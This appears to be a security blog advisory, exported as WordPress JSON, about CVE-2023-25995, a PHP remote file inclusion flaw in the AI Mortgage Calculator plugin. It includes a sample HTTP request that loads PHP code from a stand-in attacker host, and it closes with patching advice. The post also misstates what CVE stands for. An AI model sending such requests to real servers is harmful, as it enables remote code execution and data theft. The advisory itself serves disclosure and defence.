{"id":86446,"date":"2026-02-12T10:15:54","date_gmt":"2026-02-12T10:15:54","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2023-25995-php-remote-file-inclusion-vulnerability-in-ai-mortgage-calculator","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-25995-php-remote-file-inclusion-vulnerability-in-ai-mortgage-calculator\/","title":{"rendered":"<strong>CVE-2023-25995: PHP Remote File Inclusion Vulnerability in AI Mortgage Calculator<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Critical Vulnerability Exposure (CVE) CVE-2023-25995 is a high-level security flaw found in the AI Mortgage Calculator used by choicehomemortgage. This vulnerability arises due to the &#8216;PHP Remote File Inclusion&#8217;, which can allow an intruder to introduce malicious codes into the system. The flaw potentially affects all versions up to 1.0.1 of the AI Mortgage Calculator, making it a serious concern for any organization or individual using this software.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2023-25995<br \/>\nSeverity: High (CVSS: 7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System Compromise and Potential Data Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3248774469\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>AI Mortgage Calculator | Up to 1.0.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This particular exploit takes advantage of the improper control of filenames for the &#8216;Include\/Require&#8217; statement in the PHP program. This would allow an attacker to remotely include a file from any location, local or otherwise. The included file can then execute arbitrary PHP code, thereby compromising the system. In essence, the vulnerability allows an attacker to control what file is included and executed by the vulnerable application.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2031472881\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a hypothetical example of how an HTTP request exploiting this vulnerability might look:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/calculator.php?file=http:\/\/malicious.example.com\/malicious_code.php HTTP\/1.1\nHost: vulnerablehost.com\nAccept: *\/*<\/code><\/pre>\n<p>In this example, the attacker has included a PHP file from a remote server (`http:\/\/malicious.example.com\/malicious_code.php`), which will be executed by the server running the AI Mortgage Calculator application. This could lead to a full system compromise or potential data leakage.<br \/>\nTo mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. If patches are unavailable, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Critical Vulnerability Exposure (CVE) CVE-2023-25995 is a high-level security flaw found in the AI Mortgage Calculator used by choicehomemortgage. This vulnerability arises due to the &#8216;PHP Remote File Inclusion&#8217;, which can allow an intruder to introduce malicious codes into the system. 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